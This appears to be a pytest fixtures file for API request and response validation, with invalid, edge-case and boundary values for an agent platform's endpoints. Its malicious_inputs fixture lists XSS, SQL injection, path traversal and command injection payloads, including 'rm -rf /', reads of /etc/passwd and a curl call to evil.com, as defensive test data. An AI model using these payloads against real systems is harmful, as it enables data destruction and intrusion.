File size: 11,726 Bytes
cc036ff
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
"""
Validation-specific test fixtures for API testing.

Provides reusable fixtures for request validation, response validation,
and edge case testing across all API endpoints.
"""

import pytest
from pydantic import ValidationError, BaseModel
from typing import Dict, Any, List, Optional, Union
from datetime import datetime, timedelta
import json
import uuid


@pytest.fixture
def invalid_data_generator():
    """
    Generate various invalid inputs for testing request validation.

    Returns a function that accepts a data type and returns invalid values.
    """
    def _generate_invalid_values(data_type: str) -> List[Any]:
        if data_type == "string":
            return [
                None,  # null instead of string
                123,  # number instead of string
                "",  # empty string (edge case)
                "a" * 10000,  # very long string
                "<script>alert('xss')</script>",  # special characters
                "\x00\x01\x02",  # unicode edge cases
            ]
        elif data_type == "integer":
            return [
                None,  # null instead of int
                "not_a_number",  # string instead of int
                1.5,  # float instead of int
                -999999999999999999999,  # overflow
                999999999999999999999,  # overflow
            ]
        elif data_type == "float":
            return [
                None,  # null instead of float
                "not_a_number",  # string instead of float
                float('inf'),  # infinity
                float('nan'),  # NaN
            ]
        elif data_type == "boolean":
            return [
                None,  # null instead of bool
                "true",  # string instead of bool
                1,  # int instead of bool
                0,  # int instead of bool
            ]
        elif data_type == "datetime":
            return [
                None,  # null instead of datetime
                "not_a_date",  # invalid format
                123,  # int instead of datetime
                "2024-13-01T00:00:00Z",  # invalid month
                "2024-02-30T00:00:00Z",  # invalid day
            ]
        elif data_type == "email":
            return [
                None,  # null instead of email
                "not_an_email",  # missing @
                "@example.com",  # missing local part
                "user@",  # missing domain
                "user@@example.com",  # double @
                "user@example",  # invalid TLD
            ]
        elif data_type == "url":
            return [
                None,  # null instead of URL
                "not_a_url",  # missing protocol
                "http://",  # missing domain
                "://example.com",  # missing protocol
                "javascript:alert('xss')",  # dangerous protocol
            ]
        elif data_type == "uuid":
            return [
                None,  # null instead of UUID
                "not_a_uuid",  # invalid format
                "123e4567-e89b-12d3-a456-42661417400",  # too short
                "123e4567-e89b-12d3-a456-42661417400x",  # invalid character
            ]
        elif data_type == "enum":
            return [
                None,  # null instead of enum
                "INVALID_VALUE",  # not in enum
                123,  # wrong type
                "",  # empty string
            ]
        else:
            return [None, ""]  # Generic invalid values

    return _generate_invalid_values


@pytest.fixture
def valid_request_factory():
    """
    Generate valid request payloads for each endpoint.

    Returns a function that accepts an endpoint type and returns a valid payload.
    """
    def _create_valid_request(endpoint_type: str, **overrides) -> Dict[str, Any]:
        if endpoint_type == "spawn_agent":
            return {
                "name": "test_agent",
                "category": "testing",
                "module_path": "test.module",
                "maturity": "STUDENT",
                "confidence": 0.5,
                "description": "Test agent description",
                "config": {},
                **overrides
            }
        elif endpoint_type == "submit_canvas":
            return {
                "canvas_id": str(uuid.uuid4()),
                "form_data": {
                    "field1": "value1",
                    "field2": "value2"
                },
                "agent_id": str(uuid.uuid4()),
                "execution_id": str(uuid.uuid4()),
                **overrides
            }
        elif endpoint_type == "navigate_browser":
            return {
                "url": "https://example.com",
                "wait_for_selector": None,
                "timeout": 30000,
                **overrides
            }
        elif endpoint_type == "login":
            return {
                "email": "test@example.com",
                "password": "SecurePass123!",
                **overrides
            }
        elif endpoint_type == "register":
            return {
                "email": "test@example.com",
                "password": "SecurePass123!",
                "confirm_password": "SecurePass123!",
                "name": "Test User",
                **overrides
            }
        else:
            return {}

    return _create_valid_request


@pytest.fixture
def response_validator():
    """
    Validate response JSON against expected schema.

    Returns a function that checks response structure and types.
    """
    def _validate_response(response_data: Dict[str, Any], expected_fields: Dict[str, type]) -> bool:
        """
        Validate response against expected field types.

        Args:
            response_data: Actual response JSON
            expected_fields: Dict mapping field names to expected types

        Returns:
            True if validation passes, False otherwise
        """
        for field, expected_type in expected_fields.items():
            if field not in response_data:
                return False

            actual_value = response_data[field]

            # Handle nullable fields
            if actual_value is None:
                continue

            # Handle Optional types
            if hasattr(expected_type, "__origin__") and expected_type.__origin__ is Union:
                # Extract the actual type from Optional[type]
                args = expected_type.__args__
                if type(None) in args:
                    # It's Optional, so check the non-None type
                    non_none_type = [arg for arg in args if arg is not type(None)][0]
                    if not isinstance(actual_value, non_none_type):
                        return False
                continue

            # Basic type checking
            if not isinstance(actual_value, expected_type):
                return False

        return True

    return _validate_response


@pytest.fixture
def edge_case_values():
    """
    Provide edge case values for testing boundary conditions.

    Returns a dictionary of edge case values by data type.
    """
    now = datetime.utcnow()

    return {
        "integer": {
            "zero": 0,
            "negative": -1,
            "max_safe_int": 2**53 - 1,
            "min_safe_int": -(2**53 - 1),
            "one": 1,
        },
        "float": {
            "zero": 0.0,
            "negative": -0.001,
            "max_precision": 0.9999999999999999,
            "scientific_notation": 1.23e-10,
            "very_small": 1e-100,
        },
        "string": {
            "empty": "",
            "single_char": "a",
            "spaces": "     ",
            "unicode": "日本語 🎉",
            "emoji": "😀😃😄😁😆😅🤣😂🙂🙃😉😊😇🥰😍🤩😘",
            "max_length": "a" * 1000,
        },
        "datetime": {
            "epoch": datetime(1970, 1, 1),
            "now": now,
            "future": now + timedelta(days=365),
            "far_future": now + timedelta(days=36500),  # 100 years
            "past": now - timedelta(days=365),
            "far_past": now - timedelta(days=36500),
        },
        "boolean": {
            "true": True,
            "false": False,
        },
        "null": {
            "none": None,
            "null_json": json.dumps(None),
        },
        "list": {
            "empty": [],
            "single": [1],
            "large": list(range(1000)),
        },
        "dict": {
            "empty": {},
            "single": {"key": "value"},
            "nested": {"level1": {"level2": {"level3": "deep"}}},
        }
    }


@pytest.fixture
def validation_error_matcher():
    """
    Extract specific validation errors from Pydantic exceptions.

    Returns a function that formats validation errors for test assertions.
    """
    def _extract_validation_errors(error: ValidationError) -> Dict[str, List[str]]:
        """
        Extract validation errors from Pydantic ValidationError.

        Args:
            error: Pydantic ValidationError exception

        Returns:
            Dict mapping field names to list of error messages
        """
        errors_by_field = {}

        for error_item in error.errors():
            # Get field location (e.g., ["name"] or ["form_data", "field1"])
            loc = error_item["loc"]
            field_name = ".".join(str(l) for l in loc) if loc else "root"

            # Get error message
            message = error_item["msg"]
            error_type = error_item["type"]

            # Format error message
            formatted_message = f"{error_type}: {message}"

            # Add to errors by field
            if field_name not in errors_by_field:
                errors_by_field[field_name] = []
            errors_by_field[field_name].append(formatted_message)

        return errors_by_field

    return _extract_validation_errors


@pytest.fixture
def boundary_values():
    """
    Provide boundary values for testing min/max constraints.

    Returns boundary values for common constraint ranges.
    """
    return {
        "confidence": {
            "min": 0.0,
            "max": 1.0,
            "below_min": -0.1,
            "above_max": 1.1,
            "near_min": 0.001,
            "near_max": 0.999,
        },
        "timeout": {
            "min": 0,
            "max": 300000,
            "below_min": -1,
            "above_max": 300001,
        },
        "page_size": {
            "min": 1,
            "max": 100,
            "below_min": 0,
            "above_max": 101,
        },
        "string_length": {
            "min_10": "a" * 10,
            "max_100": "a" * 100,
            "below_min_10": "a" * 9,
            "above_max_100": "a" * 101,
        }
    }


@pytest.fixture
def malicious_inputs():
    """
    Provide malicious inputs for security testing.

    Returns common attack patterns to test validation security.
    """
    return {
        "xss": [
            "<script>alert('xss')</script>",
            "<img src=x onerror=alert('xss')>",
            "javascript:alert('xss')",
            "<svg onload=alert('xss')>",
        ],
        "sql_injection": [
            "'; DROP TABLE users; --",
            "1' OR '1'='1",
            "admin'--",
            "1' UNION SELECT * FROM users--",
        ],
        "path_traversal": [
            "../../../etc/passwd",
            "..\\..\\..\\windows\\system32",
            "/etc/passwd",
            "C:\\Windows\\System32\\config\\sam",
        ],
        "command_injection": [
            "; ls -la",
            "| cat /etc/passwd",
            "&& rm -rf /",
            "`whoami`",
            "$(curl http://evil.com)",
        ]
    }